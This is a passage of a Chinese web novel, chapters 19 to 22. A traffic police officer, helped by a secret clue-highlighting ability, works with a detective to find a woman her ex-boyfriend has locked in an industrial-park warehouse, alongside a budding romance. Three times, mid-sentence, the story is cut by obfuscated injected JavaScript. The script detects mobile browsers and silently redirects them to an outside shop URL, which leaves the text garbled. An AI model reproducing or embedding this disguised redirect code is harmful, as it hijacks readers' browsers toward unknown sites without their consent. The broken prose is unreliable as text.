“房产吗，我看看。他名下的房子只有他住的地方，他是和父母一起住的。目前没发现他有租赁的房子。” 没有房子，李林杰会在哪里藏人呢？难不成受害人已经被杀了？ 应该不至于，至少被塞进后备箱的时候，她还活得好好的，而且还踢歪了车尾灯，想办法求救。而且，人是活着被绑走的，那么李林杰应该还没想要杀害她，不然不会那么麻烦。 既然地点不是他名下的房子，会不会是他朋友的？或者公司的？ 程昭思考了一阵，然后问：“这个，李林杰是做什么工作的？” “他是一个电商公司的主管，主要负责仓库物流的。” 难不成是以公司名义租赁的仓库或者房子？ 程昭继续问：“可以查到他们公司名下租赁的仓库或者房子吗？” “应该可以的，但是这个需要一点时间，之前调查的人没查这一块。如果你想知道，我可以迟些帮你查。” 程昭开心地笑着说：“周警官，你真的太好人了！下次我给你做大餐！” 周立言的声音也带着一丝笑意：“嗯哼，你的承诺我会记住的，下次如果不是大餐，我就提醒你。” “放心好了，我一定记得住。” 周立言低声笑着说：“嗯，我相信你。公司租赁的结果，晚一点告诉你。还有什么需要查的吗？” 程昭想了一下，目前受害人确定了，虽然地点不确定，但是警方如果去查，应该可以发现李林杰是有问题的。所以透露给周警官，让他往这个方向追查吧。 程昭语气十分认真地说：“周警官，你相信我吗？我查这个人，真的不是在胡闹。我的第六感告诉我，他的车尾箱装过人，这个人为了求助，在车尾箱里面踢坏了车尾灯。他是做贼心虚，所以急急忙忙去清洗了车子。我怀疑，被绑的人就是他的女朋友。我建议你们确定一下她的行踪，她应该没去国外。” 程昭停顿了一下，然后继续说：“至于藏人的地方，有可能是他以公司名义租赁的仓库或者房子。但是这个我需要听听你的调查结果，才能判断是不是。” 周立言静静地听着程昭述说。程昭说完之后，也安静地等周立言回复。一时之间，电话两头都只有彼此的呼吸声。 周立言低声说：“我相信你。你的推测都很有道理，你也不是哗众取宠的人……是不是有人说你了？” 程昭沉默了一下，然后轻声说：“嗯。有些同事不太相信我……” “没关系的，真相大白的时候，他们就知道你是对的了。”周立言的声音好像大提琴一样，“时间不早了，你早点午休吧。有进展我就告诉你。” “谢谢你，周警官，午安。” “午安。” 19. 失踪的女朋友 下午四五点，快要下班的时候，程昭的手机铃声响起，周立言打了电话过来。 难道是案件有进展了？程昭心急地接通电话：“喂，周警官？” 周立言沉稳的声音在听筒出来：“是我。我下午查了一下，李林杰女朋友周丽鸣的出境记录，她确实没出国。她的家人说她有每天手机发信息报平安，但是没打过电话，他们尝试打电话也没打通……” “到今天为止，周丽鸣已经出门四天，但是没有发任何照片视频到社交平台。周丽鸣的家人朋友都开始怀疑她是不是出事了。” 听到受害人的身份确定了，程昭松了一口气，但是听说她已经失踪四天，又不禁为受害人感到担心。 程昭着急地问：“那现在案件成立了吗？如果周丽鸣已经失踪四天，是谁给她家人发信息报平安？可以查到手机定位吗？” 周立言说：“周丽鸣失踪案已经立案了，她家人来报案了。因为有你提供的线索，我们现在锁定了嫌疑人李林杰。我们也查了周丽鸣的手机定位，发现手机在李林杰的身上，他现在已经被我们控制起来了……” 周立言说到这里停顿了一下，略带无奈地说：“本来我们想要暗中跟踪他，找到藏人的地点。但是因为昨天警方调查过他，他可能已经有所警惕，所以昨天和今天都是公司和住址两点一线。再加上周丽鸣的家人，今天曾经打过电话问他，知不知道周丽鸣的下落……我们的人发现他想要丢弃受害人的手机，所以就把他先控制了起来。” 嫌疑人昨天今天都两点一线，没有去找受害人……如果没有帮手照顾受害人，受害人行动受困的话，那她可能快两天没吃饭喝水了。 程昭和周立言说出自己对受害人处境的猜测，周立言也赞同她的观点，“是的，我们也有这样推测。所以现在当务之急，是尽快找到囚禁的地点。” “我们今天准备加班去查所有可能的地点，你要不要过来帮忙看看？”周立言发出邀请，“这个案子我们也反馈给你的领导了，他应该刚刚接到通知。我想，即使还没有到下班时间，他也会同意让你过来帮忙的。” 程昭听到周立言说的话，不由得抬起头来，看庞达办公桌的方向。庞达刚好也在接电话，电话的内容似乎让他很惊讶。 程昭声音带着笑意：“我领导好像正在接电话，很吃惊的样子。” “那你要来吗？不过可能会加班到很晚。”周立言提醒道。 “当然要来！事情是我发现的，如果可以，我想让事情有好的结局……如果领导不让我过去，我就下班赶过去。你们不要不给我看线索资料哦。” 周立言轻笑了一声，“放心吧，我这边领导已经同意你来帮忙了，不会不给你看资料的。” 两人约定了，她到了就再给他打电话，然后挂断了电话。 这时，庞达走过来找程昭，脸上的惊讶还没有散去。他激动地说：“小程，神了，你昨天怀疑那个司机，他真的有问题！警局那边的同志和我说了，还问能不能让你过去帮忙查受害人的下落。” 办公室的同事听到庞达的话，都不由自主地停下手上的工作，竖起耳朵仔细听。当听到警局的人还邀请程昭过去帮忙，在场的人都大吃一惊。 一个没听说过事情经过的同事惊呼：“警局居然叫咱们交警过去，帮忙查案？发生什么事了，我漏了什么八卦吗？” 另一个听过些许传闻的同事低声告诉他：“就是老王说的那件事啊，说程昭想出风头想疯了，看到一个车尾灯歪了的车子，就怀疑司机有问题……” “看来人家程昭不是乱说的，这回警局都找她帮忙了。” “真是后生可畏啊，了不得了不得！” 同事们突然的夸奖，让程昭有点不好意思，她摸一下自己的脸，有点热热的。 向来看不惯程昭，想看她笑话的老王，脸上带着一丝羞恼，还是嘴硬地坚持自己的观点：“可不能怪我乱说啊，她看到的状况，什么车尾灯歪了、车尾箱有脚印……这些都很常见啊，你们之前都认同的！我怎么知道，这回居然被她说中了呢？” 和程昭关系比较好的同事李涛，也是刚刚才听说这件事。他看到老王还在嘴硬，不耐烦地摆摆手，说：“行了行了，再说这些有什么用呢？警局都查到司机有问题了……程昭，你要去帮忙吗？” 程昭用力地点点头，然后看向庞达，询问领导的意见，“庞队，我可以去帮忙吗？我今天的工作已经做好了。” 庞达满脸笑容，摆摆手，兴奋地说：“去吧去吧，这事比较紧急。你能帮上警队的忙，也是为我们小队争光了……如果加班了，或者明天还要过去警局帮忙，你就和我说，我给你算加班。” 程昭双手合十，感谢庞队的通融，“谢谢庞队，我不会给我们队丢脸的！那，我现在就过去了。” “去吧去吧，等你们的好消息。”庞达笑眯眯地说。 程昭快速关机，收拾好东西走人。她嫌公交车地铁绕路耗时，直接打车，到了周警官所在的市警察局。 周立言到楼下接了她，并和她同步最新的信息：“目前嫌疑人还没有招供，坚持说自己是无辜的，不知道女朋友失踪了。他说手机是周丽鸣给他的，拜托他每天给家人发信息报平安。” 程昭听了，感觉十分无语，气愤地说：“怎么有这样无耻的人！谁会把自己手机交给别人，去发什么平安短信啊？鬼才相信他！” 周立言无奈地笑笑，这种情形他已经见怪不怪了。他忍不住轻轻拍了一下程昭的肩膀，低声说：“冷静一下，你别急。等我们找到有用的线索，试探他，说不定就露出马脚了。” “你说得对，当务之急是找线索……” 程昭跟着周立言进入刑事三队的办公室，里面除了之前见过的侯远山、孙泽林，还有两位没见过的人。 周立言先给程昭介绍他小队里面的成员：“侯远山和孙泽林，你之前见过面。然后这位是陈丰，这位是乔良……这位就是程昭，你们都听说过的，交警队的同事，之前帮过我们不少的忙。” 几位刑警都站起来，走过来和程昭握手打招呼。 陈丰和周立言差不多高，目测都有一米八几了，而且身型壮硕，看起来很能打。不过他一笑起来，给人的感觉立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643730|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马大变，从一个肌肉打手变成一个憨厚的老实人。 乔良与陈丰相反，身型很清瘦，年纪看起来是全部人里面最大的，看起来像是多年的老刑警。 大家打招呼互相认识之后，就直接进入工作状态，继续查资料，尝试找出可能困住周丽鸣的地方。 周立言把一叠资料推过去给程昭，然后继续给她讲解目前已知的信息：“你之前想要我帮忙查的，李林杰公司名义租赁的房子仓库。我们已经核对过一遍了，这些房子仓库都有投入使用，每天进出的人不少，所以暂时排除了这些可能。” 程昭接过资料，一目十行地看了一遍。然后她查了一下系统的信息关联表，里面没有显示刚刚看过的地址。 难道和犯人的公司没关系？但是“李林杰负责电商公司的仓库物流”，这个信息在系统的关联表里面显示了发光标记。所以程昭才会觉得是他公司名义下的房子。 突然，程昭想到一个可能，“那会不会是，已经不再使用的房子仓库呢？以前租过，但是现在退了。” 程昭刚说完，她发现她的猜测也显示在列表里面，标了发光标志。看来她猜中了。 听到程昭的问题，周立言看向一旁的侯远山，“远山，这个你之前有看过吧？历史租赁的房屋。” 侯远山点头说：“是的，我之前把所有的记录都拿过来了。但是这个公司成立很久了，历史租赁记录太多。我们就把嫌疑人入职之前的历史记录，先筛选去掉了……我现在去把全部的记录找出来。” “好的，麻烦你了。” 侯远山风风火火地出去了。 在等待记录回来的时候，周立言又问程昭：“你还想看什么资料？” “嫌疑人车子的行车记录仪，有记录他的出行记录吗？”程昭突然想起最开始看到的车子，连忙问道。 周立言可惜地摇摇头，“行车记录仪的数据被清空了，我们尝试过恢复，发现他还换了一个新的内存卡。” 看来此路不通了，程昭也可惜地叹了一口气。 程昭只好继续思考，现在可以确定的是，关押地点可能是公司租过的地方。这个地方有什么用处，居然被犯人继续租了下来？他身上会不会有那个钥匙？ 程昭问：“嫌疑人的随身物品，我可以看看吗？还有受害人的手机，有没有什么线索。” 周立言点头，说：“没问题，都可以看。受害人的手机，她的家人帮忙解锁了，同意我们查看里面的东西。” 周立言从一堆物证袋里面，找出了嫌疑人的随身物品和物品清单，拿给程昭，“这些是他随身携带的，这些是他放在汽车里面的。清单在这里，你看看。” 然后他问一旁的孙泽林：“泽林，受害人手机是不是在你那边？有什么发现吗？手机先给程昭看看吧？” 孙泽林把手机递给程昭，说：“受害人和嫌疑人的聊天记录被删除了，我恢复了出来。看内容，他们两个好像最近两个月在闹矛盾，受害人想要分手，嫌疑人极力挽回。分分合合的，两人纠缠了一段时间……手机里面其他的内容，好像看起来没有什么特别的。” 20. 囚禁的地点 程昭接过孙泽林递过来的受害人手机。 因为孙泽林等下还要继续检查，所以她就先看手机的内容。 隔着物证袋，程昭点开了屏幕，然后先打开了手机相册。 相册里面有一些自拍照、美食照、风景照，还有很多服装设计图。 程昭一边查看手机，一边留意系统的信息关联表，发现有几个自拍和美食照片，在系统里面标记了关联，不过排序比较后。 程昭着重查看了这几张照片内容和详细信息，反复对比之后，发现这些照片都有一个共同点，拍摄地点在西城区一个老工业区附近。 程昭想了一下，抬头问：“周丽鸣的职业是服装设计师？她工作地点和住址是哪里？” 周立言点头说：“是的，她是一个服装品牌的设计师，公司和住址都在南城区。” “那离这个工业区近吗？我看到她有好几张照片，都是在这样工业园附近拍的。”程昭把手机递给周立言，指出了那些有关联的照片。 周立言翻看了几张，然后用周丽鸣公司家庭住址和这个工业区的地址，查了一下地图。 他皱着眉说：“她家去西城区这个工业园，路程挺远的，坐公交车差不多一个小时。她男朋友，嫌疑人也不住在那附近。而且这些照片的日期，不是同一天拍的……有点可疑。” 孙泽林也过来看了一眼照片的地址，认出了那个工业园。 孙泽林笑着说：“可能是去那边探店吧？那个工业园好像正在转型，搞创意园。有一些小公司、工作室、咖啡店开在了那边，走工业风装修，有些人回去那边打卡。” 周立言微微挑眉，说：“你对那个工业园，还挺清楚的啊？” 孙泽林不好意思地挠挠头，“因为和女朋友一起去过那边两次，这些都是她和我说的……” 创意园吗？周丽鸣是设计师，说不定会喜欢那边的氛围……但是路程太远的话，会这么频繁地过去打卡吗？ 周立言也轻轻摇头，说出了和她差不多的想法：“应该不是单纯的打卡探店，路程远，去的次数还这么多，应该是有个常去的目的地在那一片。我们查的时候留意一下这个工业园吧。” 周立言的想法和她的不谋而合，程昭有点小开心。然后她又继续查看其他的物证，嫌疑人的随身物品和汽车的杂物。 程昭看了一遍物品清单，然后又一件件地拿起来观察。系统的关联表里面，新增了：造型独特的门卡、零钱包的发票。 造型独特的门卡？随身物品里面好像只有一串钥匙……程昭翻了一下箱子，最后找到了“造型独特的门卡”，那是一个看起来是装饰品的挂件。 挂件的外形是一个布艺兔子，兔子手里拿着一块画板，门卡应该就是那块画板，隐约可以摸到突出来的芯片。 怪不得清单上面没写门卡，大家都误以为是挂件了。 如果这个门卡的嫌疑人的，他为什么不挂在钥匙串上面？这个卡片的风格和嫌疑人其他的东西，有很大出入……会不会不是嫌疑人的东西？ 不过，只凭风格不一样，就说很可疑，有点难以取信于人。所以程昭先放下门卡，继续看另一个关联的物证，零钱包的发票。 她拿出零钱包里的发票，发现有两张餐饮发票，店址也在那个工业园。 于是，程昭把这两张发票单独拿出来，给其他刑警看，“你们看，嫌疑人也去过那个工业园。” “确实是。”老刑警乔良看他们讨论，也过来旁观，“太多巧合的话，就不是巧合了。” 大高个子的陈丰，也过来查看，点头赞成乔良的说法。 这时，出去找嫌疑人公司历史租赁记录的侯远山，也拿着厚厚一叠资料回来了。他看到大家都围在一起，好奇地问：“怎么了？有什么新发现吗？” 周立言点头，“是的，程昭发现了一个工业园，受害人和嫌疑人都去过几次。这个工业园和受害人嫌疑人公司住址都比较远，所以有点可疑。” 乔良摸了一下下巴的胡渣，说：“说不定他们有个秘密基地在那边，所以经常过去工业园约会……会不会受害人就被关在那里？” 周立言说：“不排除这个可能，我们可以拿这些发现，去诈一下嫌疑人，说不定他会露出马脚。” 程昭犹豫了一下，然后补充说了门卡的发现：“其实还有一个奇怪的点。我查看物品的时候，发现这个挂件其实是个门卡，这里有芯片的。这个门卡没有挂在钥匙串上面，会不会不是嫌疑人的东西？” 陈丰挠挠头，皱眉上前，“这个是门卡吗？我之前查看，还以为是什么玩偶。” “这看起来确实不太像门卡……我们找人看一下，看看能不能识别卡片的信息。然后我们拿照片地址、发票这些，去诈一下嫌疑人。” 周立言思索片刻，然后做出了安排：“泽林懂一些技术，你带着门卡去找人读取卡片信息。乔良精明，陈丰体型有震慑力，你们两个一起去诈嫌疑人，看看能不能套出囚禁地点。” 孙泽林几人点头，然后拿了需要用的物证资料出去，剩下周立言、侯远山、程昭在办公室。 侯远山把手上的资料递给程昭，说：“那个公司历史租赁的房屋都在这里了。他们有很多短期租赁的，所以数量比较多。” 程昭接过了资料，开始一目十行地看租赁记录，一边看一边留意系统的信息关联表有没有更新。 翻了十几页，突然一个有点眼熟的地址映入眼帘，这个地址也显示在信息关联表里面，上了发光标记，而且排序很靠前。 程昭指出这个地址，略带兴奋地说：“你们看，那个公司曾经租过那个工业园的一个小仓库。会不会受害人就在那里？” “我看看，”周立言凑过来看了地址，“确实是，太巧合了。等乔良他们问完回来，我们就过去这个工业园看看。” 没多久，乔良他们回来，脸上带着兴奋的神色。陈丰一进门就大声说：“嫌疑人看到发票、照片，然后听到我们说那个工业园，脸色立刻变了。我们只问了几句，他就顶不住招了，说周丽鸣被关在工业园一个小仓库里面。那个仓库被周丽鸣用来当闭关的工作室，所以他们时不时过去那边。仓库钥匙就是那个门卡。” “很好，事不宜迟，那我们现在去找泽林，拿上门卡，去找周丽鸣。”周立言脸色难掩笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651563|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 然后他又问程昭：“程警官，要和我们一起去吗？” 程昭兴奋地点头：“当然！” ………… 警车一路飞驰，很快到了西城区的老工业园。这边虽然已经在转型，但是很少店铺在营业，原来的工厂都迁移，天黑之后路上就没有什么行人。 好动的侯远山四处张望，然后说：“这一片真安静，确实是个藏人的好地方……” “嗯，希望周丽鸣没事，我们快点过去吧。”周立言看到工业园的负责人正在不远处走来，就带着其他人迎了过去。 周立言和工业园负责人握手，快速简洁地说明来意：“我们是刑事四队的刑警，我们想要去工业园的E区E320找人，麻烦你帮忙带路。” 负责人已经在电话得到过通知了，所以也没问太多，直接带了周立言一行人过去。 E320的位置和预想的一样，很偏僻很安静，周围的房子闲置着没租出去。 周立言用门卡刷开了大门，里面一片漆黑，隐隐约约听到有人呜咽挣扎的声响。 几位刑警训练有素的分头潜入房间，确定除了被困的周丽鸣，没有其他人在房子里，才打开了照明灯。 程昭进入房间的时候，周立言和侯远山正在帮忙解开受害人的捆绑。周丽鸣一可以说话，就颤颤巍巍地说想要喝水。 程昭的包包里准备了没拆封的水，连忙递给周丽鸣。周丽鸣手上没力气，旁边的侯远山就帮忙打开了瓶盖。 周丽鸣一口气喝完了一瓶水，才缓了过来。她声音嘶哑地说：“谢、谢你们、救了我……李林杰、那个混蛋呢？” 周立言低声说：“他已经被我们控制起来了，放心，你已经安全了。” 周丽鸣抽泣着说：“我以、为，我要、渴死在这里了……” 程昭轻轻拍拍她的背，柔声说：“你已经安全了，已经没事了。救护车马上就来了，等下就可以见到你的家人了。” 周丽鸣抽泣着，忍不住抱了抱程昭。她现在如同惊弓之鸟，同性的存在让她比较有安全感。 几分钟后，救护车来了，带了周丽鸣去医院检查治疗。 这个小仓库改造的工作室，需要等待鉴证科的人来做取证工作。周立言安排了陈丰和孙泽林留下，然后其他人先回警队。 周立言特意和程昭走在众人后面，他看了一下时间，靠近程昭轻声问：“现在已经八点了，估计今晚是不能录受害人证词的，等下应该很快就可以走了。你想现在回家，还是等我下班，跟我的车一起回去？” 周立言说话的气息，轻轻吹拂过程昭的耳畔，程昭感觉自己的耳朵有点发热。 周警官是不是有点靠太近啦，这样她很容易误会的！ 程昭强装镇定地说：“嗯……我跟你的车回去吧，这边公交车不太顺路。” 周立言看着程昭微微发红的耳尖和脸颊，轻轻笑了一声，稍微退后了一点。然后他笑着说：“好的，麻烦程警官等等我，我们一起回家。” 程昭觉得自己脸也热了。什么一起回家，她们明明是住两个不同的小区……这样子，她真的很容易误会的！ 21. 自然卷和强迫症 回到警局，周立言先去茶水间拿出了一大袋外卖，放到桌子上。然后说：“不小心错过饭点了，这些是我刚刚定的外卖，大家先垫垫肚子。今天还有一些事情没做完，等案件结束了，改天再请大家吃饭。” “队长太客气啦！” “谢谢周队的外卖！” 周立言摆摆手说：“好了，大家不用客气，自己选自己想吃的吧。留两份给陈丰和泽林。” 众人围过去挑选起来，周立言走向程昭，问：“你想吃什么？我点了一家茶餐厅的外卖，有捞面、菠萝油、猪扒包，还有一些饮品。你过去选吧。” 听起来、闻起来都很好吃的样子。程昭张望了一下，一时选择困难症犯了。 过长的刘海划到脸上，痒痒的，她随便地拨了一下耳边的乱发，然后问：“周队，你有什么推荐吗？好像都很好吃的样子。” 周立言看着程昭奔波了一天，有点乱蓬蓬的头发，有种想要帮她整理的冲动。 他压下了自己奇怪的想法，轻笑一声说：“我的口味比较古怪，很多东西都不吃的，所以你问我的建议，其实不太对。” 程昭笑着摇摇头说：“你的口味其实很正常，只是部分味道不喜欢吃而已。我相信你的判断，你就帮我决定吧。我有点选择困难。” 周立言嘴角微翘，“那可以试试猪扒包和柠檬茶。” 程昭点头笑着说：“好啊，有淀粉有肉有菜有水果，就它了。” 程昭和周立言一起去拿了吃的喝的，然后周立言一边吃一边把今天的进展录入报告，程昭就在旁边的空桌子上认真干饭。 乔良和侯远山手上的工作做完了，也拿着晚餐过来，大家一边吃饭一边聊天。 侯远山对程昭竖起大拇指，说：“程昭，你真厉害啊，一来就发现线索，直接找到被困地点了。” 程昭不好意思地笑笑，她虽然也有帮忙思考，但是金手指帮了最多的忙，不过这个事情也不可能和别人说，只能厚颜接受别人的夸赞了。 程昭摆摆手，谦虚道：“我也是凑巧发现的。而且主要是你们前期工作做得好，线索都收集到了，只是还没有排查到那个地方罢了。” 乔良笑着说：“程昭，你太谦虚了。没有你帮忙，我们可能要查很久，救护车的人说，受害人已经脱水得很严重了。” 侯远山点点头，然后又好奇地问：“程昭，你是怎么从那堆照片里面，找到工业园附近拍摄的几张的？那个相册的照片数量可不少。” 幸好程昭回来的路上，就想过相关的托词，没想到这么快就用上了。 她不好意思地挠挠头，笑着说：“之前看受害人手机，因为都是女生，我就猜她可能会拍照记录生活，所以打算从相册看她最近的动向……” “那几张照片的环境，看起来和受害人平时去的地方风格不太一样，所以我就留意对比了详细信息……不过也可能是女性的第六感比较灵，所以我刚好猜中了。” 乔良听了，深感认同地点点头，“女人的第六感真的很灵！我每次想藏点零花钱，或者弄坏了什么东西，我老婆很快就会发现。” 侯远山笑嘻嘻地吐槽：“肯定是乔叔你表现得太心虚了！” ………… 没多久陈丰和孙泽林也回来了。孙泽林说：“鉴证科的人听说我们还没有吃饭，就让我们先回来吃饭了。他们说做完采集就电话联系我们。” 周立言微微点头说：“嗯，受害人已经到找到了，剩下的事情不太急。大家吃完饭就先回家吧，案件收尾可以等明天再做。” 大家都欣然接受了周队的安排，准备吃完饭就各回各家。 周立言的进度报告写完了，看到程昭也刚好吃完了。他走向程昭，眉眼之间带着笑意，说：“走吧，让你久等了。时间不早了，你家小橘该饿了。” 程昭立马站了起来，有点犯困的眼睛都睁大了，“嘶--！我忘记了！不过我现在早上有多放一些猫粮，希望它还没有吃完吧……” 周立言轻笑一声，“走吧，这边开车回去，很快就到了。” 上了车，周立言平稳地开车。 程昭今天有点太耗神了。早上收到庞队警局没发现的信息，中午得到周立言的帮忙，下午听到案件有进展、受害人有危险的消息……短短一天发生了好多事。 她刚上车的时候还有点危襟正坐，但是车子没开多久，她就忍不住闭上眼睛，脑袋一点一点的，梦会周公了。 差不多到地方的时候，周立言瞄了一眼程昭，发现她居然打瞌睡睡着了。怪不得一路上这么安静。 他轻轻拍了拍程昭，“程昭，到了，醒醒。” 程昭揉了揉睡眼惺忪的眼睛，慢慢清醒过来，“唔，我居然睡着了……谢谢你，周队，谢谢你送我回家，还有那么相信我，帮忙查那个嫌疑人。” “送你回家，举手之劳而已，不用客气。”周立言嘴角微扬，“至于查案的事，也是我们的本职工作。相反，其实是你帮了我们。所以不要谢来谢去了，明天应该就是整理供词，核对证据，你要过来吗？” 程昭挠了挠头，她很想去但是又有点担心，思考了片刻，说：“唔……我挺想去的，不过我先问问我领导吧。” 周立言点点头说：“好，你来的话就告诉我，我明天开车接你。快回家吧，晚安。” “好的，晚安。”程昭向周立言挥挥手，转身进入小区。周立言看着她进了小区的门，才慢悠悠地开车离开。 ………… 回到家，程昭发现小橘早就在门口等她了。 小橘喵喵叫了几声，又用身体蹭了蹭她的脚。 程昭立刻心里软软的，蹲下抱起小橘抚摸了几下，然后给它开了个罐头。 现在已经快十点了，庞队不知道睡了没。程昭给庞达发了个信息，简单讲了一下案件的进展，然后问明天能不能继续过去警局帮忙。 没多久，庞达看到短信，立马打了电话过来，说：“哎，小程，你们居然这么快就找到受害人啦？” 程昭笑着说：“是啊，我们凑巧发现了一些线索，然后找到了受害人的所在之处。” 庞达哈哈大笑，说：“运气也是一种实力！小程你一过去，就找到重要线索，不错不错。你明天也继续过去警局吧，等回来的时候，给我们说说你们破案的经过。” 没想到庞队也这么爱听八卦，程昭也乐了。 “好的，没问题，谢谢庞队。等我回来，再详细地讲给你们听。” 挂了电话，程昭赶紧给周立言发了信息，“领导已经批准，我明天可以继续过来哦～” 周立言很快就回复了个“收到”的表情包，然后和她约定了出发时间。 周立言发的表情包，看起来还挺可爱的。程昭偷偷保存了。 周队平时看起来很严肃，但是私底下挺经常笑的，而且还喜欢发表情包。真的是，人不可貌相，海水不可斗量。 ………… 第二天，周立言比约定时间早了十分钟，到达程昭的小区门口。几分钟后，程昭也出来了。 看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660548|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周立言的车已经停在路边，程昭连忙一路小跑过来，出门前整理好的头发，又有点乱蓬蓬的。 程昭一边上车一边问：“周队早呀，等很久了吗？” 周立言摇摇头，说：“程昭早安。没有，我也刚到不久。” 程昭从包包里面拿出一个食品袋，递给周立言，说：“这是我早上做的早餐三明治，夹着鸡蛋沙拉、芝士、火腿，你吃早餐了吗？要不要吃？” 周立言嘴角微微上扬，接过食品袋，说：“谢谢，我还没有吃早餐，等回去了我再吃。你吃过了吗？” “嗯，我在家里已经吃了。”程昭笑着说。 看着程昭微微翘起的头发，周立言有点想笑。他忍不住提醒了一下她，“程昭，你头发好像有点乱了。” “咦？怎么又乱了！”明明她已经好好梳过了。 程昭用手机作镜子，胡乱整理了一下。周立言忍不住帮忙提醒：“后面一点、左边、左边……呃，不介意的话，我帮你？” “好啊，麻烦你了。” 程昭的头发有点自然卷，有点不听话。之前为了方便清洁剪短了，以后还是留长一点扎起来吧。 她的脸因为不好意思，微微发红，上半身倾过来周立言这边。 周立言伸手帮她整理了一下，发现还是有点翘起，“唔，怎么整理不平……” 程昭放弃了，无奈地说：“可能是头发有点自然卷……算了算了，就这样翘着吧。等头发留长了，我就扎起来……我们还是出发吧。” 周立言点点头，开始开车回警局，一边驾驶，一边心思有点乱飘。 他之前怀疑自己可能有点轻微的强迫症，喜欢整齐，喜欢干净。对不喜欢的食物，如果没有人强迫，他宁愿胃疼也不会吃。 看到程昭乱蓬蓬的头发，他确实是想要帮她整理整齐。但是她说以后头发长了扎起来，他不知道为什么，心里居然觉得有点可惜。他第一次感觉，乱蓬蓬的也没关系，挺可爱的…… 到了警局停车场，程昭下车的时候，周立言突然对她说：“其实扎不扎起来都可以，乱蓬蓬的也挺可爱的。” 程昭听了都没反应过来，快回到办公室的时候，她才反应过来，原来周立言在说她的头发。 ……周队是想了一路吗？ 程昭有点脸热，觉得有点无奈，又有点好笑。 ………… 到了办公室，其他人也刚好到了，看到程昭，都笑着和她打招呼。 寒暄过后，大家开始进入正题。 因为犯人昨天已经招了，所以今天需要收集受害人的证词，然后将他们说的话，和采集的证据交叉验证，没问题就可以结案，然后把案子交给检察院处理。 周立言带着程昭、侯远山去医院，采集受害人的证词。其他人去核对犯人的口供，检查采集的证据。 大家表示收到，然后开始各自分工。 侯远山收拾了一下随身物品，准备等周队发话出发，没想到周队居然在吃早餐。 啊，周队今天居然回来了才吃早餐，真难得……那个三明治好像很好吃的样子。侯远山有点馋了，凑过去问：“周队，你早餐哪里买的？很好吃的样子。” “好心人的投喂，不是外面买的。”周立言刚好吃完了，仔细地擦嘴。 “好吧。”侯远山叹了口气，他还想早餐换个口味呢。 “我们出发吧，等这个案件了结了，我请大家吃饭。”周立言拿起随身物品，笑着说。 大家更加有干劲了，“好耶。” 22. 车尾灯事件完结 周立言带着程昭、侯远山，来到受害人周丽鸣住的医院。 他们先去找了周丽鸣的主治医生，了解她的身体情况。 主治医生在电脑调出了周丽鸣的病例，把屏幕转过来给他们看，然后沉声说：“病人身上有多处淤青伤痕，可能遭受过虐待。然后是比较严重的脱水……不过病人很坚强，目前看来恢复得挺快。报告随后发给你们。” 主治医生带他们一行人，来到周丽鸣的病房。 病房里，周丽鸣正在睡觉。周丽鸣的父母刚好也在，看到周立言等人，他们立刻站起来，一脸感激地迎了过来。 周父说：“警察同志，谢谢你们！真的太谢谢你们了。如果不是你们及时发现，解救了丽鸣，她可能就出事了。” 周母眼睛微红，自责说：“都怪我们大意，没早些发现那些平安短信有问题。我们应该早些打电话的……” 周丽鸣听到说话声，也慢慢醒过来，听到母亲又在自责，慢慢开口说：“不、不怪你们，是李林杰、那个混蛋太狡猾了……” 经过一整晚的休养和营养补充，周丽鸣虽然依然很虚弱，但是已经比刚解救的时候，精神了很多。 看到受害人已经醒了，周立言一行人便来到她床边。 周立言低声说：“周小姐，你好，我们是负责这次案件的警察，我叫周立言，这位是侯远山。这位交警，程昭，她是案件的第一发现人……” 周立言看了看程昭，眉眼间带着淡淡的笑意，“周小姐你之前破坏的车尾灯，后来被她发现了。在她的努力追查下，我们才及时发现了案情。囚禁你的地点，也是她帮忙发现的。” 周丽鸣笑着说：“我记得你，你是那晚给我递水的警官小姐。” 周丽鸣勉力半坐起来，周母过去帮忙扶了一下她，给她整理了一下枕头，靠坐在床上。 周丽鸣伸手过来，握住程昭的手，激动地说：“真的是太感谢你了！没有你们，我可能要被囚禁很长一段时间……” 说着说着，周丽鸣声音都哽咽起来，回想这几天的经历，她依然感觉心有余悸。 程昭轻轻拍拍她的手，轻声安慰她说：“你现在已经安全了，不要害怕，都过去了。” 周立言和侯远山拉了几个椅子，众人坐下后，开始步入正题，询问事情的经过。 周丽鸣回忆过去的几天，皱着眉，断断续续地说：“我和李林杰、是工作认识的，拍拖快一年了。最近我受不了他的控制欲，想要分手，但是他一直纠缠。” “我本来计划，这个星期出国旅游，想要散散心。他说送我去机场，没想到他居然送了我去荒郊野外，说如果我决意分手就留我在那里。” 